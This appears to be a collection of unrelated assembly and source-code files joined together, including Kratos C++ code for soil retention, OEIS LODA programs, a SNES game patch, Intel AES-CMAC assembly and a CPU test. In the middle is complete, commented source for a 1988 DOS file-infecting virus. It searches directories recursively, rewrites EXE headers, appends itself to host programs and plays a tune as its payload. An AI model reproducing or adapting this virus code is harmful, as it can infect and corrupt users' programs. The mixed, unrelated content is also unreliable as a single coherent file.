ax mov cl, 0 ; Block number push eax .block_loop: ; f-num = freq * 2^(20 - block) / 49716 mov al, 2 mov bl, 20 sub bl, cl movzx eax, al movzx ebx, bl call os_math_power mov ebx, eax pop eax push eax mul ebx mov ebx, 49716 div ebx inc cl cmp eax, 1024 jge .block_loop dec cl shl cl, 2 add ah, cl mov [.tmp_word], ax pop eax popad mov al, [.tmp_word] mov bl, [.tmp_word + 1] ret .tmp_word dw 0 ; ==================================================================
// KRATOS___ // // ) ) // // ___ ___ // // ____ //___) ) // ) ) // // / / // // / / // ((____/ / ((____ ((___/ / MECHANICS // // License: geo_mechanics_application/license.txt // // // Main authors: Vahid Galavi // // System includes #include <iostream> // External includes // Project includes #include "custom_retention/van_genuchten_law.h" namespace Kratos { //------------------------------------------------------------------------------------------------- VanGenuchtenLaw::VanGenuchtenLaw() : RetentionLaw() { } //------------------------------------------------------------------------------------------------- VanGenuchtenLaw::VanGenuchtenLaw(const VanGenuchtenLaw& rOther) : RetentionLaw(rOther) { } //------------------------------------------------------------------------------------------------- RetentionLaw::Pointer VanGenuchtenLaw::Clone() const { return Kratos::make_shared<VanGenuchtenLaw>(*this); } //------------------------------------------------------------------------------------------------- VanGenuchtenLaw::~VanGenuchtenLaw() { } //------------------------------------------------------------------------------------------------- double VanGenuchtenLaw:: CalculateSaturation(Parameters &rParameters) { KRATOS_TRY; const double &p = rParameters.GetFluidPressure(); const Properties &rMaterialProperties = rParameters.GetMaterialProperties(); if (p > 0.0) { const double &satMax = rMaterialProperties[SATURATED_SATURATION]; const double &satMin = rMaterialProperties[RESIDUAL_SATURATION]; const double &pb = rMaterialProperties[VAN_GENUCHTEN_AIR_ENTRY_PRESSURE]; const double &gn = rMaterialProperties[VAN_GENUCHTEN_GN]; const double gc = (1.0 - gn) / gn; double sat = satMin + (satMax - satMin) * pow(1.0 + pow(p/pb, gn), gc); return sat; } else { return rMaterialProperties[SATURATED_SATURATION]; } KRATOS_CATCH("") } //------------------------------------------------------------------------------------------------- double VanGenuchtenLaw:: CalculateEffectiveSaturation(Parameters &rParameters) { KRATOS_TRY; const double sat = CalculateSaturation(rParameters); const auto &rMaterialProperties = rParameters.GetMaterialProperties(); const double &satMax = rMaterialProperties[SATURATED_SATURATION]; const double &satMin = rMaterialProperties[RESIDUAL_SATURATION]; double effectiveSat = (sat - satMin) / (satMax - satMin); return effectiveSat; KRATOS_CATCH("") } //------------------------------------------------------------------------------------------------- double VanGenuchtenLaw:: CalculateDerivativeOfSaturation(Parameters &rParameters) { KRATOS_TRY; const double &p = rParameters.GetFluidPressure(); if (p > 0.0) { const auto &rMaterialProperties = rParameters.GetMaterialProperties(); const double &satMax = rMaterialProperties[SATURATED_SATURATION]; const double &satMin = rMaterialProperties[RESIDUAL_SATURATION]; const double &pb = rMaterialProperties[VAN_GENUCHTEN_AIR_ENTRY_PRESSURE]; const double &gn = rMaterialProperties[VAN_GENUCHTEN_GN]; const double gc = (1.0 - gn) / gn; double dSdp = (satMax - satMin) * gc * pow((1.0 + pow(p/pb, gn)), gc-1.0) * gn * pow(pb,-gn) * pow(p, gn-1.0); return dSdp; } else { return 0.0; } KRATOS_CATCH("") } //------------------------------------------------------------------------------------------------- double VanGenuchtenLaw:: CalculateRelativePermeability(Parameters &rParameters) { KRATOS_TRY; const double effSat = CalculateEffectiveSaturation(rParameters); const auto &rMaterialProperties = rParameters.GetMaterialProperties(); const double &gl = rMaterialProperties[VAN_GENUCHTEN_GL]; const double &gn = rMaterialProperties[VAN_GENUCHTEN_GN]; double relPerm = pow(effSat, gl) * pow(1.0 - pow(1.0 - pow(effSat, gn/(gn-1.0)), (gn-1.0)/gn), 2); const double &minRelPerm = rMaterialProperties[MINIMUM_RELATIVE_PERMEABILITY]; relPerm = std::max(relPerm, minRelPerm); return relPerm; KRATOS_CATCH("") } //------------------------------------------------------------------------------------------------- double VanGenuchtenLaw:: CalculateBishopCoefficient(Parameters &rParameters) { KRATOS_TRY; return CalculateEffectiveSaturation(rParameters); KRATOS_CATCH("") } //------------------------------------------------------------------------------------------------- double& VanGenuchtenLaw::CalculateValue(RetentionLaw::Parameters& rParameterValues, const Variable<double>& rThisVariable, double& rValue) { if (rThisVariable == DEGREE_OF_SATURATION) { rValue = this->CalculateSaturation(rParameterValues); return rValue; } else if (rThisVariable == EFFECTIVE_SATURATION) { rValue = this->CalculateEffectiveSaturation(rParameterValues); return rValue; } else if (rThisVariable == BISHOP_COEFICIENT) { rValue = this->CalculateBishopCoefficient(rParameterValues); return rValue; } else if (rThisVariable == DERIVATIVE_OF_SATURATION) { rValue = this->CalculateDerivativeOfSaturation(rParameterValues); return rValue; } else if (rThisVariable == RELATIVE_PERMEABILITY) { rValue = this->CalculateRelativePermeability(rParameterValues); return rValue; } return rValue; } //------------------------- RETENSION LAW GENERAL FEATURES ---------------------------------------- //------------------------------------------------------------------------------------------------- void VanGenuchtenLaw:: InitializeMaterial(const Properties& rMaterialProperties, const GeometryType& rElementGeometry, const Vector& rShapeFunctionsValues) { // nothing is needed } //------------------------------------------------------------------------------------------------- void VanGenuchtenLaw:: Initialize(Parameters &rParameters) { // nothing is needed } //------------------------------------------------------------------------------------------------- void VanGenuchtenLaw:: InitializeSolutionStep(Parameters &rParameters) { // nothing is needed } //------------------------------------------------------------------------------------------------- void VanGenuchtenLaw:: Finalize(Parameters &rParameters) { // nothing is needed } //------------------------------------------------------------------------------------------------- void VanGenuchtenLaw:: FinalizeSolutionStep(Parameters &rParameters) { // nothing is needed } //------------------------------------------------------------------------------------------------- int VanGenuchtenLaw::Check(const Properties& rMaterialProperties, const ProcessInfo& rCurrentProcessInfo) { KRATOS_ERROR_IF(!rMaterialProperties.Has(SATURATED_SATURATION)) << "SATURATED_SATURATION is not availabe in material parameters" << std::endl; KRATOS_ERROR_IF(rMaterialProperties[SATURATED_SATURATION] < 0.0) << "SATURATED_SATURATION cannot be less than 0 " << std::endl; KRATOS_ERROR_IF(rMaterialProperties[SATURATED_SATURATION] > 1.0) << "SATURATED_SATURATION cannot be greater than 1.0 " << std::endl; KRATOS_ERROR_IF(!rMaterialProperties.Has(RESIDUAL_SATURATION)) << "RESIDUAL_SATURATION is not availabe in material parameters" << std::endl; KRATOS_DEBUG_ERROR_IF_NOT(rMaterialProperties[RESIDUAL_SATURATION] > 0.0) << "RESIDUAL_SATURATION must be greater than 0 " << std::endl; KRATOS_ERROR_IF(rMaterialProperties[RESIDUAL_SATURATION] > 1.0) << "RESIDUAL_SATURATION cannot be greater than 1.0 " << std::endl; KRATOS_ERROR_IF(rMaterialProperties[SATURATED_SATURATION] < rMaterialProperties[RESIDUAL_SATURATION]) << "RESIDUAL_SATURATION cannot be greater than SATURATED_SATURATION " << std::endl; KRATOS_ERROR_IF(!rMaterialProperties.Has(VAN_GENUCHTEN_AIR_ENTRY_PRESSURE)) << "VAN_GENUCHTEN_AIR_ENTRY_PRESSURE is not availabe in material parameters" << std::endl; KRATOS_ERROR_IF(!(rMaterialProperties[VAN_GENUCHTEN_AIR_ENTRY_PRESSURE] > 0.0)) << "VAN_GENUCHTEN_AIR_ENTRY_PRESSURE must be greater than 0 " << std::endl; KRATOS_ERROR_IF(!rMaterialProperties.Has(MINIMUM_RELATIVE_PERMEABILITY)) << "MINIMUM_RELATIVE_PERMEABILITY is not availabe in material parameters" << std::endl; KRATOS_ERROR_IF(!(rMaterialProperties[MINIMUM_RELATIVE_PERMEABILITY] > 0.0)) << "MINIMUM_RELATIVE_PERMEABILITY must be greater than 0 " << std::endl; return 0; } } // Namespace Kratos
; A144613: a(n) = sigma(3*n) = A000203(3*n). ; 4,12,13,28,24,39,32,60,40,72,48,91,56,96,78,124,72,120,80,168,104,144,96,195,124,168,121,224,120,234,128,252,156,216,192,280,152,240,182,360,168,312,176,336,240,288,192,403,228,372,234,392,216,363,288,480,260,360,240,546,248,384,320,508,336,468,272,504,312,576,288,600,296,456,403,560,384,546,320,744,364,504,336,728,432,528,390,720,360,720,448,672,416,576,480,819,392,684,480,868 mul $0,3 add $0,2 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
; A174574: Partial sums of A065363. ; 0,1,1,2,4,3,3,4,4,5,7,8,10,13,11,10,10,9,9,10,10,11,13,12,12,13,13,14,16,17,19,22,22,23,25,26,28,31,33,36,40,37,35,34,32,31,31,30,30,31,29,28,28,27,27,28,28,29,31,30,30,31,31,32,34,35,37,40,38,37,37,36,36,37,37,38,40,39,39,40,40,41,43,44,46,49,49,50,52,53,55,58,60,63,67,66,66,67,67,68 lpb $0 mov $2,$0 sub $0,1 seq $2,65363 ; Sum of balanced ternary digits in n. Replace 3^k with 1 in balanced ternary expansion of n. add $1,$2 lpe mov $0,$1
; Thanks to Kazuto for developing the original QS code that inspired this one QuickSwap: ; We perform all other checks only if we are pushing L or R in order to have minimal ; perf impact, since this runs every frame LDA.b $F6 : AND #$30 : BEQ .done XBA ; stash away the value for after the checks. LDA.l QuickSwapFlag : BEQ .done LDA.w $0202 : BEQ .done ; Skip everything if we don't have any items PHX XBA ; restore the stashed value CMP.b #$30 : BNE + ; If prossing both L and R this frame, then go directly to the special swap code LDX.w $0202 : BRA .special_swap + BIT #$10 : BEQ + ; Only pressed R JSR.w RCode LDA.b $F2 : BIT #$20 : BNE .special_swap ; Still holding L from a previous frame BRA .store + ; Only pressed L JSR.w LCode LDA.b $F2 : BIT #$10 : BNE .special_swap ; Still holding R from a previous frame BRA .store .special_swap LDA !INVENTORY_SWAP_2 : ORA #$01 : STA !INVENTORY_SWAP_2 CPX.b #$02 : BEQ + ; boomerang CPX.b #$01 : BEQ + ; bow CPX.b #$05 : BEQ + ; powder CPX.b #$0D : BEQ + ; flute CPX.b #$10 : BEQ + ; bottle BRA .store + STX $0202 : JSL ProcessMenuButtons_y_pressed .store LDA.b #$20 : STA.w $012F STX $0202 JSL HUD_RefreshIconLong PLX .done LDA.b $F6 : AND.b #$40 ;what we wrote over RTL RCode: LDX.w $0202 LDA.b $F2 : BIT #$20 : BNE ++ ; Still holding L from a previous frame LDA !INVENTORY_SWAP_2 : AND #$FE : STA !INVENTORY_SWAP_2 BRA + ++ LDA !INVENTORY_SWAP_2 : BIT #$01 : BEQ + RTS - + CPX.b #$14 : BNE + : LDX.b #$00 ;will wrap around to 1 + INX .nextItem LDA.l $7EF33F, X : BEQ - RTS LCode: LDX.w $0202 LDA.b $F2 : BIT #$10 : BNE ++ ; Still holding R from a previous frame LDA !INVENTORY_SWAP_2 : AND #$FE : STA !INVENTORY_SWAP_2 BRA + ++ LDA !INVENTORY_SWAP_2 : BIT #$01 : BEQ + RTS - + CPX.b #$01 : BNE + : LDX.b #$15 ; will wrap around to $14 + DEX .nextItem LDA.l $7EF33F, X : BEQ - RTS
; Procedure do HOTKEY action V2.00  1988 Tony Tebby QJUMP section hotkey xdef hot_thar xdef hot_thact xref hot_scpy xref hot_thus xref hot_thfr include 'dev8_ee_hk_data' ;+++ ; Do hotkey action: parameters d0,d1,d2 are passed to routine and ; returned; string at (a6,a1.l) is copied to hkd_buf2 and a1 set to point to it. ; ; a2 c p address of hotkey action routine ; status returns standard ;--- hot_thar regs setstr {a3} frame equ 4 move.l [regs],-(sp) move.l d0,-(sp) jsr hot_thus ; use thing bne.s hta_exit jsr hot_scpy ; copy string (a6,a1.l) lea hkd_buf1(a3),a0 ; set a0 bne.s hta_thfr bra.s hta_do ;+++ ; Do hotkey action: parameters d0,d1,d2,a0,a1 passed to routine and ; returned. ; d0/d1/d2/a0/a1 call return parameters ; a2 c p address of hotkey action routine ; status returns standard ;--- hot_thact move.l [regs],-(sp) move.l d0,-(sp) jsr hot_thus ; use thing bne.s hta_exit hta_do move.l (sp),d0 ; set d0 jsr (a2) ; and do action hta_thfr jsr hot_thfr ; free thing hta_exit addq.l #frame,sp ; remove d0 move.l (sp)+,[regs] rts end
comment / Good luck! Vladimir Botchev, CICT-BAS, december 1988 / data_area struc ;Define a pattern for working data ;area DS_save dw ? ES_save dw ? IP_save dw ? CS_save dw ? SS_save dw ? filematch db '*.exe',00h ;Names for files to infect matchall db '*.*',00h ;needed for the matching procedure infected dw 00h ;A very useful flag help_flag dw 00h ;These two flags are needed to where_from_flag dw 00h ;determine if virus is free running ;or from an infected program ;therefore it's very important ;that where_from_flag value ;is set to zero at assembly time handle dw ? ip_old dw ? ;old instruction pointer cs_old dw ? ;old value of code segment ss_old dw ? far_push dw ? save_push dw ? buffer1 db '\',63 dup (?) virus_stamp db 'motherfucker' ;Very hard to obtain in a random way buffer2 db 2b0h dup (?) new_area db 64 dup (?) new_data db 64 dup (?) pointer1 dw ? pointer2 dw ? pointer3 dw ? pointer4 dw ? pointer5 dw ? pointer6 dw ? pointer7 dw ? pointer8 dw ? data_area ends org 100h ;Defined for .com file as virus must ;be able to run on itself start: call setup_data ;This is a near call therefore it's a ;three byte instruction.It's purpose is ;to catch correct data area address ;even when virus is appended to the ;infected .exe program adjust equ offset pgm_start ;Known offset value pgm_start label word virussize equ 2793 work: mov ax,ds ;Save old DS push cs pop ds ;Update to needed DS value mov si,offset buffer.DS_save ;Put old DS in a quiet place sub si,adjust add si,bx mov [si],ax mov si,offset buffer.ES_save ;Save it because Get DTA side effects sub si,adjust add si,bx mov ax,es mov [si],ax push cs ;Imperative because DI usage pop es push bx ;It's imperative to always keep ;this value unchanged mov ax,2f00h ;Get DTA function call int 21h mov cx,bx ;save address found pop bx mov si,offset buffer.pointer1 sub si,adjust add si,bx mov [si],cx add si,2 ;Locate the segment immediately above mov ax,es mov [si],ax push cs pop es mov di,offset buffer.buffer1 ;adjust for first search inc di ;Jump over the '\' sub di,adjust add di,bx mov dx,0000h push bx call search_exe pop bx mov si,offset buffer.where_from_flag sub si,adjust add si,bx cmp word ptr [si],0000h jnz infected_run int 020H infected_run: mov si,offset buffer.pointer1 sub si,adjust add si,bx mov dx,[si] push ds mov ax,[si+2] mov ds,ax push bx mov ax,1a00h int 21h pop bx pop ds ;Restore original DTA mov si,offset buffer.ES_save sub si,adjust add si,bx mov ax,[si] mov es,ax ;Restore ES push bx ;Here you can do whatever you want call mary_proc pop bx mov si,offset buffer.IP_save sub si,adjust add si,bx mov ax,[si] mov dx,[si+2] mov si,offset buffer.far_push ;Restore original code sub si,adjust ;segment add si,bx mov cx,[si] push ax mov ax,cs sub ax,cx mov di,ax ;For stack add dx,ax pop ax mov si,offset buffer.SS_save sub si,adjust ;Restore stack segment add si,bx mov cx,word ptr [si] add cx,di push es pop ds cli mov ss,cx sti push dx push ax retf search_exe PROC push si push dx call transfer_filespec ;transfer filename in another ;working area call find_first ;try to find a first match jc not_here ;first match not found call try_to_infect ;if found try to infect ;infected != 0 if success mov si,offset buffer.infected sub si,adjust add si,bx test word ptr [si],0ffffh jz try_next jmp quiet_exit try_next: call find_next ;If infection was not succesful ;try once more jc not_here call try_to_infect ;If match found try to infect mov si,offset buffer.infected ;again sub si,adjust add si,bx test word ptr [si],0ffffh jz try_next jmp quiet_exit ;quiet exit simply jumps ;to a return instruction not_here: pop dx ;If first searches are push dx ;unsuccesful try a '*.*' match call search_all call find_first jnc attribute_test ;i.e. expect probably to ;find a subdirectory quiet_exit: pop dx pop si ret attribute_test: mov si,dx ;offset of DTA test byte ptr [si+015h],010h ;where attribute byte is to ;be found.Try first with ;subdirectory attribute jne dir_found ;subdirectory found more_tries: call find_next ;Since the search was initiated ;with '*.*' if this is not a ;directory try to found one jc quiet_exit ;No sense to search more test byte ptr [si+015h],010h jz more_tries ;Search to the end dir_found: cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory ;mark '.' jz more_tries ;looking for files no ;subdirectories call dta_compute ;Valid entry, now set some DTA ;and continue to search push ax mov ah,01Ah ;Set DTA function call int 021h pop ax push si mov si,offset buffer.infected sub si,adjust add si,bx test word ptr [si],0ffffh pop si jnz quiet_exit jmp more_tries search_exe ENDP dta_compute PROC push di ;Save some registers push si push ax push bx cld ;Up count for SI,DI pair mov si,dx ;DTA address to SI add si,01EH ;and add subdirectory ;name offset store_loop: lodsb stosb or al,al jne store_loop ;store loop std stosb mov al,05Ch ;Put in place the path name constructor stosb add di,2 ;Adjust di for new searches call search_exe ;a heavily recursion pop bx ;some cleanup and exit pop ax pop si pop di ret dta_compute ENDP try_to_infect PROC push ax push bx push cx push dx push si push di push es push bx mov ax,2f00h ;Get DTA function call int 21h mov ax,bx pop bx mov si,offset buffer.pointer3 sub si,adjust add si,bx mov [si],ax ;Offset saved add si,2 mov ax,es mov [si],ax pop es ;Segment located just above mov dx,offset buffer.new_data sub dx,adjust add dx,bx push bx mov ax,1a00h int 21h ;Set DTA function call pop bx ;It's very important to save BX in all calls mov di,offset buffer.new_area mov si,offset buffer.buffer1 sub di,adjust sub si,adjust add di,bx add si,bx cld ; Move previously found pathname or filename ; to new data area move_path: lodsb stosb or al,al jnz move_path std ;adjust DI to recieve mov al,'\' ;filename. mov cx,0040h std ;Search backward repne scasb mov si,offset buffer.pointer3 sub si,adjust add si,bx mov ax,[si] mov si,ax add di,2 o_kay: add si,001eh ;The beginning of the filename... cld ;Now move name move_fnm: lodsb stosb or al,al jnz move_fnm push dx push bx mov dx,offset buffer.new_area sub dx,adjust add dx,bx mov ax,3d02h ;Open file with handle for read/write int 21h pop bx pop dx jnc go_ahead ;In case file cannot be opened jmp error_exit go_ahead: mov si,offset buffer.handle sub si,adjust add si,bx mov [si],ax ;Save handle push bx mov bx,ax ;Prepare for lseek push dx mov cx,0000h ;Look at the end of the file mov dx,0000h ;Offset of -12 from the end of the file mov ax,4202h ;Lseek function call int 21h mov cx,dx pop dx pop bx jnc compute_length jmp close_error compute_length: sub ax,000ch sbb cx,0000h ;Exact position save_offset: mov si,offset buffer.pointer5 sub si,adjust add si,bx mov [si],ax add si,2 mov [si],cx push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] mov dx,ax mov ax,4200h ;From beginning of file int 21h ;Lseek function call pop dx pop bx jnc set_buffer jmp close_error set_buffer: push bx push dx mov dx,offset buffer.new_data sub dx,adjust add dx,bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] ;Load handle mov cx,000ch mov ax,3f00h int 21h ;Read function call pop dx pop bx jnc read_ok jmp close_error read_ok: mov si,offset buffer.virus_stamp mov di,offset buffer.new_data sub si,adjust sub di,adjust add si,bx add di,bx mov cx,12 ;Length of strings to compare repe cmpsb pushf mov si,offset buffer.infected sub si,adjust add si,bx mov word ptr [si],0000h popf jnz infect_it close_error: mov si,offset buffer.handle sub si,adjust add si,bx push bx mov bx,[si] mov ax,3e00h ;Close file function call int 21h pop bx jmp error_exit infect_it: mov si,offset buffer.infected sub si,adjust add si,bx mov word ptr [si],7777h mov si,offset buffer.where_from_flag sub si,adjust add si,bx mov ax,[si] sub si,2 mov [si],ax ;This code effectively moves ;where_from_flag into help_flag add si,2 mov [si],5a5ah ;Ready to infect push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] xor cx,cx xor dx,dx mov ax,4200h ;From beginning of file int 21h ;Lseek function call pop dx pop bx jnc set_new_data jmp append_ok set_new_data: push bx push dx mov dx,offset buffer.new_data sub dx,adjust add dx,bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] ;Load handle mov cx,001bh ;Read formatted exe header mov ax,3f00h int 21h ;Read function call pop dx pop bx jnc read_header jmp append_ok read_header: nop ;some code to modify header mov si,offset buffer.pointer5 sub si,adjust add si,bx mov ax,[si] add si,2 add ax,0ch adc word ptr [si],0000h sub si,2 mov [si],ax ;This code restores original filelength mov si,offset buffer.new_data sub si,adjust add si,bx mov ax,[si] cmp ax,5a4dh ;check for valid exe file jz valid_exe jmp append_ok valid_exe: mov ax,[si+8] ;Load module size xor dx,dx shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 ;Multiply by 16 push ax push dx ;Adjust new size push cx mov dx,virussize-896+64 push dx mov cx,0009h shr dx,cl add word ptr [si+4],dx pop dx and dx,01ffh add dx,word ptr [si+2] cmp dx,512 jl adjust_okay sub dx,512 inc word ptr [si+4] adjust_okay: mov word ptr [si+2],dx pop cx pop dx pop ax push si ;This SI is very useful so save it mov si,offset buffer.pointer5 sub si,adjust add si,bx sub [si],ax mov ax,[si] sbb [si+2],dx mov dx,[si+2] ;the byte size of the load module pop si push ax push dx mov ax,[si+14h] mov dx,[si+16h] ;Get CS:IP value mov cx,[si+0eh] ;Get SS value push si mov si,offset buffer.IP_save sub si,adjust add si,bx xchg [si],ax xchg [si+2],dx mov si,offset buffer.SS_save sub si,adjust add si,bx xchg [si],cx mov si,offset buffer.ip_old sub si,adjust add si,bx mov [si],ax mov [si+2],dx mov si,offset buffer.ss_old sub si,adjust add si,bx mov [si],cx pop si pop dx pop ax push ax push dx shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 ;Multiply by 16 mov cx,0008h shl dx,cl mov cx,0004h shr ax,cl ;A very obscure algorithm to make ;a segment:offset pair mov [si+14h],ax mov [si+16h],dx ;Infected values push si mov si,offset buffer.far_push sub si,adjust add si,bx xchg [si],dx mov word ptr [si+2],dx pop si pop dx pop ax add ax,virussize adc dx,0000h mov cx,0003h mul_loop: shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 shl ax,1 rcl dx,1 ;Multiply by 4096 loop mul_loop or ax,ax jz exact_value inc dx exact_value: mov [si+0eh],dx ;Infected stack segment ;Write back infected header push si push bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] mov ax,5700h ;Get time function int 21h pop bx pop si jnc correct_time jmp append_ok1 correct_time: push cx push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] xor cx,cx xor dx,dx mov ax,4200h ;From beginning of file int 21h ;Lseek function call pop dx pop bx pop cx jnc continue_infection jmp append_ok1 continue_infection: push cx push dx push bx mov dx,offset buffer.new_data sub dx,adjust add dx,bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] ;Load handle mov cx,001bh ;Write infected exe header mov ax,4000h int 21h ;Write function call pop bx pop dx pop cx jnc glue_virus jmp append_ok1 glue_virus: push cx push bx push dx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] xor cx,cx xor dx,dx mov ax,4202h ;From the end of file int 21h ;Lseek function call pop dx pop bx pop cx jnc write_data jmp append_ok1 write_data: mov si,offset buffer.handle sub si,adjust add si,bx push dx push cx mov dx,bx sub dx,3 ;The starting three byte call instruction push es push bx push dx push si mov ax,2f00h int 21h pop si pop dx push es push bx push si mov ax,1a00h int 21h pop si mov bx,[si] ;Load handle mov cx,virussize-896+64 ;Length of virus obtained mov ax,4000h ;with dir int 21h lahf ;Write function call pop bx pop es push ds push es pop ds mov dx,bx push ax mov ax,1a00h int 21h pop ax pop ds pop bx pop es pop cx pop dx sahf jnc put_stamp ;Error or not file jmp append_ok1 ;is closed put_stamp: push bx mov si,offset buffer.handle sub si,adjust add si,bx mov bx,[si] mov ax,5701h ;Set time function int 21h pop bx append_ok1: mov si,offset buffer.ip_old ;Restore previous CS:IP values sub si,adjust add si,bx mov ax,[si] mov dx,[si+2] mov si,offset buffer.IP_save sub si,adjust add si,bx mov [si],ax mov [si+2],dx mov si,offset buffer.save_push sub si,adjust add si,bx mov ax,[si] mov word ptr [si-2],ax mov si,offset buffer.ss_old sub si,adjust add si,bx mov ax,[si] mov si,offset buffer.SS_save sub si,adjust add si,bx mov word ptr [si],ax append_ok: mov si,offset buffer.help_flag sub si,adjust add si,bx mov ax,[si] add si,2 mov [si],ax ;This code effectively moves ;help_flag into where_from_flag jmp close_error error_exit: mov si,offset buffer.pointer3 sub si,adjust add si,bx mov dx,[si] ;Restore original DTA add si,2 mov ax,[si] push ds mov ds,ax mov ax,1a00h ;Set DTA function call int 21h pop ds pop di pop si pop dx pop cx pop bx pop ax ret try_to_infect ENDP transfer_filespec PROC push si mov si,offset buffer.filematch ;Transfer name to the working area sub si,adjust add si,bx call byte_move pop si ret transfer_filespec ENDP search_all PROC push si mov si,offset buffer.matchall ;This is the '*.*' filename sub si,adjust add si,bx call byte_move pop si ret search_all ENDP byte_move PROC push ax push di cld move_loop: lodsb stosb or al,al ;The string to move is ASCIIZ jne move_loop pop di pop ax ret byte_move ENDP find_first PROC push cx push bx cmp dx,0000h jnbe over_set mov dx,offset buffer.buffer2 ;Set Data Transfer Area sub dx,adjust ;or Disk Transfer area add dx,bx over_set: add dx,02Bh mov cx,00010h ;Attribute byte for directory search mov ah,01ah int 021h ;Set DTA function call pop bx push bx push dx mov dx,offset buffer.buffer1 sub dx,adjust add dx,bx mov ah,04eh ;find first function call int 021h pop dx pop bx pop cx ret find_first ENDP find_next PROC push cx push bx push dx mov dx,offset buffer.buffer1 sub dx,adjust add dx,bx mov cx,00010h mov ah,04fh ;Find next function call int 021h pop dx pop bx pop cx ret find_next ENDP delay PROC push ax push bx push cx push dx mov ah,2ch ;Read current time int 21h mov ah,ch add al,cl add bh,dh add bl,dl cmp bl,100 jb secs sub bl,100 inc bh secs: cmp bh,60 jb mins sub bh,60 inc al mins: cmp al,60 jb hours sub al,60 inc ah hours: cmp ah,24 jne tcheck sub ah,ah tcheck: push ax mov ah,2ch int 21h pop ax cmp cx,ax ja tdquit jb tcheck cmp dx,bx jb tcheck tdquit: pop dx pop cx pop bx pop ax ret delay ENDP sound PROC push ax push cx push dx push di mov al,0b6h out 43h,al mov dx,14h mov ax,533h*896 div di out 42h,al mov al,ah out 42h,al in al,61h mov ah,al or al,3 out 61h,al mov al,cl call delay mov al,ah out 61h,al pop di pop dx pop cx pop ax ret sound ENDP music_play PROC push bx push cx push di push si push bp freq: mov di,[si] cmp di,0ffffh je end_play mov bl,ds:[bp] sub cl,cl sub bh,bh call sound add si,2 inc bp jnz freq end_play: pop bp pop si pop di pop cx pop bx ret music_play ENDP mary_proc PROC push bx push bp mov si,offset mary_freq mov bp,offset mary_time sub si,adjust sub bp,adjust add si,bx add bp,bx call music_play pop bp pop bx ret mary_proc ENDP mary_freq dw 262,262,293,329,262,329,293,196 dw 262,262,293,329,262,262 dw 262,262,293,329,349,329,293,262 dw 246,196,220,246,262,262 dw 220,246,220,174,220,246,262,220 dw 196,220,196,174,164,174,196 dw 220,246,220,174,220,246,262,220 dw 196,262,246,293,262,262,0ffffh mary_time db 8 dup(25) db 4 dup(25), 50, 50 db 8 dup(25) db 4 dup(25), 50, 50 db 26, 25, 26, 5 dup(25) db 26, 25, 26, 3 dup(25), 30 db 26, 25, 26, 4 dup(25), 30 db 4 dup(25), 50, 50 setup_data: cli pop bx ;This will catch instruction pointer push bx sti ;value and after that restore stack ret ;pointer value buffer data_area <> ;Reseve data_area space
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 .globl n0_cpAESCMAC_Update_AES_NI .type n0_cpAESCMAC_Update_AES_NI, @function n0_cpAESCMAC_Update_AES_NI: movslq %edx, %rdx movdqu (%rdi), %xmm0 .p2align 6, 0x90 .Lblks_loopgas_1: movdqu (%rsi), %xmm1 movdqa (%r8), %xmm4 mov %r8, %r9 pxor %xmm1, %xmm0 pxor %xmm4, %xmm0 movdqa (16)(%r9), %xmm4 add $(16), %r9 mov %rcx, %r10 sub $(1), %r10 .p2align 6, 0x90 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 movdqa (16)(%r9), %xmm4 add $(16), %r9 dec %r10 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 add $(16), %rsi sub $(16), %rdx jnz .Lblks_loopgas_1 pxor %xmm4, %xmm4 movdqu %xmm0, (%rdi) ret .Lfe1: .size n0_cpAESCMAC_Update_AES_NI, .Lfe1-(n0_cpAESCMAC_Update_AES_NI)
# $Id: 05_mul_2.asm,v 1.3 2001/03/22 00:38:59 ellard Exp $ # # Copyright 1999-2001 by the President and Fellows of Harvard College. # See LICENSE.txt for license information. # #@ tests mul, with overflow. # OK lc r2, 100 mul r3, r2, r2 add r4, r1, r0 mul r5, r3, r3 add r6, r1, r0 mul r7, r5, r5 add r8, r1, r0 mul r9, r7, r7 add r10, r1, r0 mul r11, r9, r9 add r12, r1, r0 mul r13, r11, r11 add r14, r1, r0 hlt
